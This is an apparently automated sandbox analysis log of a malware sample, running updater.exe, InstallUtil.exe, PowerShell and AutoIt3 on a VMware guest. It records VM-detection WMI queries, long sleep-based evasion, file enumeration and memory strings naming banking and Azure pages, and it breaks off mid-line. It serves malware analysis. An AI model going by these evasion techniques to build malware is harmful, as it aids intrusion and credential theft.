Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 1490000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2F50000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 5050000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2F60000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 30B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 50B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 18A0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 32A0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 31E0000 memory reserve \| memory write watch

Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1514	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1435	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1120	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 406	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6430	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3324	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5847	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3882	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 4917
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 4359

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

API coverage: 5.9 %

Source: C:\Windows\System32\OpenSSH\ssh.exe TID: 1276	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe TID: 1276	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5384	Thread sleep count: 1514 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5384	Thread sleep count: 1435 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6156	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3348	Thread sleep count: 1120 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4680	Thread sleep count: 406 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4216	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2656	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4676	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1488	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6156	Thread sleep time: -21213755684765971s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3340	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6756	Thread sleep time: -24903104499507879s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6756	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -59908s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6756	Thread sleep time: -59868s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -50995s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6756	Thread sleep time: -59749s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -49112s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6756	Thread sleep time: -59637s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -36758s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6756	Thread sleep time: -59530s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -36282s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6756	Thread sleep time: -59421s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6756	Thread sleep time: -59312s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -55164s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6756	Thread sleep time: -59196s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6756	Thread sleep time: -59092s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -58025s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6756	Thread sleep time: -58978s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6756	Thread sleep time: -58853s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -38751s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -52233s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -46801s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -49826s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -51711s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -37347s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -41417s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -55064s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -41289s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -30752s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -45886s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -57705s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6092	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6600	Thread sleep time: -720000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -56114s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -43072s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -30837s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -59978s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7108	Thread sleep time: -1200000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -47927s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -48290s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -52366s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -54468s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -54679s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -51377s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -40560s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -36686s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -34968s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -30560s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -45308s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -58956s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -38123s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -37993s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -53830s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6524	Thread sleep time: -37297s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4836	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6660	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ehcfdbh\AutoIt3.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ehcfdbh\AutoIt3.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C14005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	19_2_00C14005
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C1C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	19_2_00C1C2FF
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C1494A GetFileAttributesW,FindFirstFileW,FindClose,	19_2_00C1494A
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C1CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	19_2_00C1CD9F
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C1CD14 FindFirstFileW,FindClose,	19_2_00C1CD14
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C1F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	19_2_00C1F5D8
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C1F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	19_2_00C1F735
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C1FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	19_2_00C1FA36
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C13CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	19_2_00C13CE2
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_01254815 FindFirstFileA,FindClose,FileTimeToLocalFileTime,FileTimeToDosDateTime,	19_2_01254815
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_01252145 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	19_2_01252145
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_0125491D FindFirstFileA,GetLastError,	19_2_0125491D

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00BC5D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

19_2_00BC5D13

Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 60000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59868
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 50995
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59749
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 49112
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59637
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 36758
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 36282
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59421
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59312
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 55164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59196
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59092
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 58025
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 58978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 58853
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 38751
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 52233
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 46801
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 49826
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 51711
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 37347
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 41417
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 55064
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 41289
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 30752
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 45886
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 57705
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 30000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 60000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 56114
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 43072
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 30837
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 47927
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 48290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 52366
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 54468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 54679
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 51377
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 40560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 36686
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 34968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 30560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 45308
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 58956
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 38123
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 37993
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 53830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 37297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655LR]q
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: powershell.exe, 00000008.00000002.2348793872.00000188FD3D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: updater.exe, updater.exe, 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2484275392.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2466692851.0000000001286000.00000004.00000020.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2484065671.000000000129B000.00000004.00000020.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2484065671.0000000001276000.00000004.00000020.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2483669711.00000000011E8000.00000004.00000020.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2633322746.00000000015AB000.00000040.00000020.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2621867628.0000000001637000.00000004.00000020.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2621867628.00000000015E6000.00000004.00000020.00020000.00000000.sdmp, AutoIt3.exe, 